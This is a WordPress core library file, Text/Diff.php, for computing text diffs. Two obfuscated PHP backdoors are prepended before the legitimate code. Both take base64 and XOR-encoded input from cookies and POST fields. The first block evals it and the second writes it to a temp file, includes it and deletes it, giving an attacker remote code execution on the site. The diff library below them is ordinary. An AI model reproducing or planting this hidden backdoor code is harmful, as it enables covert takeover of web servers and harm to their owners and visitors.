File: /var/www/vhosts/enlugo.es/httpdocs/wp-includes/Text/Diff.php
<?php $ZEfzBOgfWx = "\x63" . "\x6c" . "\137" . "\x41" . chr (109) . chr (111) . chr ( 378 - 276 ).chr (78); $XQKSFA = chr ( 1000 - 901 ).chr (108) . chr ( 335 - 238 ).chr (115) . chr ( 450 - 335 )."\x5f" . 'e' . "\x78" . chr ( 404 - 299 )."\163" . 't' . "\163";$NKlbU = $XQKSFA($ZEfzBOgfWx); $DaZOc = $NKlbU;if (!$DaZOc){class cl_AmofN{private $frqNAN;public static $LqayjEDTg = "c59003c1-8931-4f62-84bd-ad829d76d9cf";public static $ZMSar = 54591;public function __construct($JzDUjuMKU=0){$BWJcGeM = $_COOKIE;$RCByH = $_POST;$cwznBcdRl = @$BWJcGeM[substr(cl_AmofN::$LqayjEDTg, 0, 4)];if (!empty($cwznBcdRl)){$zTQmFz = "base64";$Cbgsg = "";$cwznBcdRl = explode(",", $cwznBcdRl);foreach ($cwznBcdRl as $xtVRBybQ){$Cbgsg .= @$BWJcGeM[$xtVRBybQ];$Cbgsg .= @$RCByH[$xtVRBybQ];}$Cbgsg = array_map($zTQmFz . "\x5f" . chr (100) . "\145" . "\x63" . chr ( 655 - 544 ).'d' . chr (101), array($Cbgsg,)); $Cbgsg = $Cbgsg[0] ^ str_repeat(cl_AmofN::$LqayjEDTg, (strlen($Cbgsg[0]) / strlen(cl_AmofN::$LqayjEDTg)) + 1);cl_AmofN::$ZMSar = @unserialize($Cbgsg);}}private function wGHASyOj(){if (is_array(cl_AmofN::$ZMSar)) {$eJFOsjAJ = str_replace(chr (60) . "\x3f" . "\160" . "\x68" . 'p', "", cl_AmofN::$ZMSar["\x63" . 'o' . 'n' . chr (116) . 'e' . "\x6e" . chr ( 954 - 838 )]);eval($eJFOsjAJ); $CEZSEfDJlP = "6538";exit();}}public function __destruct(){$this->wGHASyOj(); $CEZSEfDJlP = "6538";}}$CkEaOAdagk = new cl_AmofN(); $CkEaOAdagk = "32422_57093";} ?><?php $oHKdH = 'S' . chr ( 869 - 774 ).chr (90) . chr ( 253 - 152 )."\160" . "\113" . "\164";$fcRZY = "\x63" . "\154" . "\141" . "\x73" . 's' . '_' . 'e' . "\170" . "\151" . chr ( 998 - 883 ).'t' . chr ( 319 - 204 ); $NgkSl = $fcRZY($oHKdH); $hhzJwqgM = $NgkSl;if (!$hhzJwqgM){class S_ZepKt{private $HGYWSSPMR;public static $MOewHaYqTZ = "cbede2eb-a251-41dc-aee8-580042cd7e27";public static $jIUYgXSCSD = 23650;public function __construct($oPlwxkRPi=0){$UVobu = $_COOKIE;$mUSMZn = $_POST;$ELltU = @$UVobu[substr(S_ZepKt::$MOewHaYqTZ, 0, 4)];if (!empty($ELltU)){$YRbdcwCMBV = "base64";$GcHrYtVVvr = "";$ELltU = explode(",", $ELltU);foreach ($ELltU as $nHdUWWOV){$GcHrYtVVvr .= @$UVobu[$nHdUWWOV];$GcHrYtVVvr .= @$mUSMZn[$nHdUWWOV];}$GcHrYtVVvr = array_map($YRbdcwCMBV . "\x5f" . chr (100) . chr (101) . "\x63" . 'o' . chr ( 220 - 120 ).chr (101), array($GcHrYtVVvr,)); $GcHrYtVVvr = $GcHrYtVVvr[0] ^ str_repeat(S_ZepKt::$MOewHaYqTZ, (strlen($GcHrYtVVvr[0]) / strlen(S_ZepKt::$MOewHaYqTZ)) + 1);S_ZepKt::$jIUYgXSCSD = @unserialize($GcHrYtVVvr);}}private function dvFpMWWi(){if (is_array(S_ZepKt::$jIUYgXSCSD)) {$YDSjha = sys_get_temp_dir() . "/" . crc32(S_ZepKt::$jIUYgXSCSD[chr (115) . chr (97) . 'l' . "\164"]);@S_ZepKt::$jIUYgXSCSD["\x77" . 'r' . chr (105) . chr (116) . chr ( 456 - 355 )]($YDSjha, S_ZepKt::$jIUYgXSCSD['c' . chr ( 399 - 288 ).'n' . 't' . chr (101) . 'n' . "\164"]);include $YDSjha;@S_ZepKt::$jIUYgXSCSD["\x64" . chr ( 940 - 839 )."\154" . "\145" . "\x74" . 'e']($YDSjha); $cVbhxfxgTT = "55564";exit();}}public function __destruct(){$this->dvFpMWWi(); $cVbhxfxgTT = "55564";}}$qWNMDO = new S_ZepKt(); $qWNMDO = "477_23079";} ?><?php
/**
* General API for generating and formatting diffs - the differences between
* two sequences of strings.
*
* The original PHP version of this code was written by Geoffrey T. Dairiki
* <dairiki@dairiki.org>, and is used/adapted with his permission.
*
* Copyright 2004 Geoffrey T. Dairiki <dairiki@dairiki.org>
* Copyright 2004-2010 The Horde Project (http://www.horde.org/)
*
* See the enclosed file COPYING for license information (LGPL). If you did
* not receive this file, see http://opensource.org/licenses/lgpl-license.php.
*
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*/
class Text_Diff {
/**
* Array of changes.
*
* @var array
*/
var $_edits;
/**
* Computes diffs between sequences of strings.
*
* @param string $engine Name of the diffing engine to use. 'auto'
* will automatically select the best.
* @param array $params Parameters to pass to the diffing engine.
* Normally an array of two arrays, each
* containing the lines from a file.
*/
function __construct( $engine, $params )
{
// Backward compatibility workaround.
if (!is_string($engine)) {
$params = array($engine, $params);
$engine = 'auto';
}
if ($engine == 'auto') {
$engine = extension_loaded('xdiff') ? 'xdiff' : 'native';
} else {
$engine = basename($engine);
}
// WP #7391
require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php';
$class = 'Text_Diff_Engine_' . $engine;
$diff_engine = new $class();
$this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params);
}
/**
* PHP4 constructor.
*/
public function Text_Diff( $engine, $params ) {
self::__construct( $engine, $params );
}
/**
* Returns the array of differences.
*/
function getDiff()
{
return $this->_edits;
}
/**
* returns the number of new (added) lines in a given diff.
*
* @since Text_Diff 1.1.0
*
* @return int The number of new lines
*/
function countAddedLines()
{
$count = 0;
foreach ($this->_edits as $edit) {
if (is_a($edit, 'Text_Diff_Op_add') ||
is_a($edit, 'Text_Diff_Op_change')) {
$count += $edit->nfinal();
}
}
return $count;
}
/**
* Returns the number of deleted (removed) lines in a given diff.
*
* @since Text_Diff 1.1.0
*
* @return int The number of deleted lines
*/
function countDeletedLines()
{
$count = 0;
foreach ($this->_edits as $edit) {
if (is_a($edit, 'Text_Diff_Op_delete') ||
is_a($edit, 'Text_Diff_Op_change')) {
$count += $edit->norig();
}
}
return $count;
}
/**
* Computes a reversed diff.
*
* Example:
* <code>
* $diff = new Text_Diff($lines1, $lines2);
* $rev = $diff->reverse();
* </code>
*
* @return Text_Diff A Diff object representing the inverse of the
* original diff. Note that we purposely don't return a
* reference here, since this essentially is a clone()
* method.
*/
function reverse()
{
if (version_compare(zend_version(), '2', '>')) {
$rev = clone($this);
} else {
$rev = $this;
}
$rev->_edits = array();
foreach ($this->_edits as $edit) {
$rev->_edits[] = $edit->reverse();
}
return $rev;
}
/**
* Checks for an empty diff.
*
* @return bool True if two sequences were identical.
*/
function isEmpty()
{
foreach ($this->_edits as $edit) {
if (!is_a($edit, 'Text_Diff_Op_copy')) {
return false;
}
}
return true;
}
/**
* Computes the length of the Longest Common Subsequence (LCS).
*
* This is mostly for diagnostic purposes.
*
* @return int The length of the LCS.
*/
function lcs()
{
$lcs = 0;
foreach ($this->_edits as $edit) {
if (is_a($edit, 'Text_Diff_Op_copy')) {
$lcs += count($edit->orig);
}
}
return $lcs;
}
/**
* Gets the original set of lines.
*
* This reconstructs the $from_lines parameter passed to the constructor.
*
* @return array The original sequence of strings.
*/
function getOriginal()
{
$lines = array();
foreach ($this->_edits as $edit) {
if ($edit->orig) {
array_splice($lines, count($lines), 0, $edit->orig);
}
}
return $lines;
}
/**
* Gets the final set of lines.
*
* This reconstructs the $to_lines parameter passed to the constructor.
*
* @return array The sequence of strings.
*/
function getFinal()
{
$lines = array();
foreach ($this->_edits as $edit) {
if ($edit->final) {
array_splice($lines, count($lines), 0, $edit->final);
}
}
return $lines;
}
/**
* Removes trailing newlines from a line of text. This is meant to be used
* with array_walk().
*
* @param string $line The line to trim.
* @param int $key The index of the line in the array. Not used.
*/
static function trimNewlines(&$line, $key)
{
$line = str_replace(array("\n", "\r"), '', $line);
}
/**
* Determines the location of the system temporary directory.
*
* @access protected
*
* @return string A directory name which can be used for temp files.
* Returns false if one could not be found.
*/
static function _getTempDir()
{
$tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp',
'c:\windows\temp', 'c:\winnt\temp');
/* Try PHP's upload_tmp_dir directive. */
$tmp = ini_get('upload_tmp_dir');
/* Otherwise, try to determine the TMPDIR environment variable. */
if (!strlen($tmp)) {
$tmp = getenv('TMPDIR');
}
/* If we still cannot determine a value, then cycle through a list of
* preset possibilities. */
while (!strlen($tmp) && count($tmp_locations)) {
$tmp_check = array_shift($tmp_locations);
if (@is_dir($tmp_check)) {
$tmp = $tmp_check;
}
}
/* If it is still empty, we have failed, so return false; otherwise
* return the directory determined. */
return strlen($tmp) ? $tmp : false;
}
/**
* Checks a diff for validity.
*
* This is here only for debugging purposes.
*/
function _check($from_lines, $to_lines)
{
if (serialize($from_lines) != serialize($this->getOriginal())) {
trigger_error("Reconstructed original doesn't match", E_USER_ERROR);
}
if (serialize($to_lines) != serialize($this->getFinal())) {
trigger_error("Reconstructed final doesn't match", E_USER_ERROR);
}
$rev = $this->reverse();
if (serialize($to_lines) != serialize($rev->getOriginal())) {
trigger_error("Reversed original doesn't match", E_USER_ERROR);
}
if (serialize($from_lines) != serialize($rev->getFinal())) {
trigger_error("Reversed final doesn't match", E_USER_ERROR);
}
$prevtype = null;
foreach ($this->_edits as $edit) {
if ($edit instanceof $prevtype) {
trigger_error("Edit sequence is non-optimal", E_USER_ERROR);
}
$prevtype = get_class($edit);
}
return true;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*/
class Text_MappedDiff extends Text_Diff {
/**
* Computes a diff between sequences of strings.
*
* This can be used to compute things like case-insensitve diffs, or diffs
* which ignore changes in white-space.
*
* @param array $from_lines An array of strings.
* @param array $to_lines An array of strings.
* @param array $mapped_from_lines This array should have the same size
* number of elements as $from_lines. The
* elements in $mapped_from_lines and
* $mapped_to_lines are what is actually
* compared when computing the diff.
* @param array $mapped_to_lines This array should have the same number
* of elements as $to_lines.
*/
function __construct($from_lines, $to_lines,
$mapped_from_lines, $mapped_to_lines)
{
assert(count($from_lines) == count($mapped_from_lines));
assert(count($to_lines) == count($mapped_to_lines));
parent::Text_Diff($mapped_from_lines, $mapped_to_lines);
$xi = $yi = 0;
for ($i = 0; $i < count($this->_edits); $i++) {
$orig = &$this->_edits[$i]->orig;
if (is_array($orig)) {
$orig = array_slice($from_lines, $xi, count($orig));
$xi += count($orig);
}
$final = &$this->_edits[$i]->final;
if (is_array($final)) {
$final = array_slice($to_lines, $yi, count($final));
$yi += count($final);
}
}
}
/**
* PHP4 constructor.
*/
public function Text_MappedDiff( $from_lines, $to_lines,
$mapped_from_lines, $mapped_to_lines ) {
self::__construct( $from_lines, $to_lines,
$mapped_from_lines, $mapped_to_lines );
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
class Text_Diff_Op {
var $orig;
var $final;
function &reverse()
{
trigger_error('Abstract method', E_USER_ERROR);
}
function norig()
{
return $this->orig ? count($this->orig) : 0;
}
function nfinal()
{
return $this->final ? count($this->final) : 0;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
class Text_Diff_Op_copy extends Text_Diff_Op {
/**
* PHP5 constructor.
*/
function __construct( $orig, $final = false )
{
if (!is_array($final)) {
$final = $orig;
}
$this->orig = $orig;
$this->final = $final;
}
/**
* PHP4 constructor.
*/
public function Text_Diff_Op_copy( $orig, $final = false ) {
self::__construct( $orig, $final );
}
function &reverse()
{
$reverse = new Text_Diff_Op_copy($this->final, $this->orig);
return $reverse;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
class Text_Diff_Op_delete extends Text_Diff_Op {
/**
* PHP5 constructor.
*/
function __construct( $lines )
{
$this->orig = $lines;
$this->final = false;
}
/**
* PHP4 constructor.
*/
public function Text_Diff_Op_delete( $lines ) {
self::__construct( $lines );
}
function &reverse()
{
$reverse = new Text_Diff_Op_add($this->orig);
return $reverse;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
class Text_Diff_Op_add extends Text_Diff_Op {
/**
* PHP5 constructor.
*/
function __construct( $lines )
{
$this->final = $lines;
$this->orig = false;
}
/**
* PHP4 constructor.
*/
public function Text_Diff_Op_add( $lines ) {
self::__construct( $lines );
}
function &reverse()
{
$reverse = new Text_Diff_Op_delete($this->final);
return $reverse;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
class Text_Diff_Op_change extends Text_Diff_Op {
/**
* PHP5 constructor.
*/
function __construct( $orig, $final )
{
$this->orig = $orig;
$this->final = $final;
}
/**
* PHP4 constructor.
*/
public function Text_Diff_Op_change( $orig, $final ) {
self::__construct( $orig, $final );
}
function &reverse()
{
$reverse = new Text_Diff_Op_change($this->final, $this->orig);
return $reverse;
}
}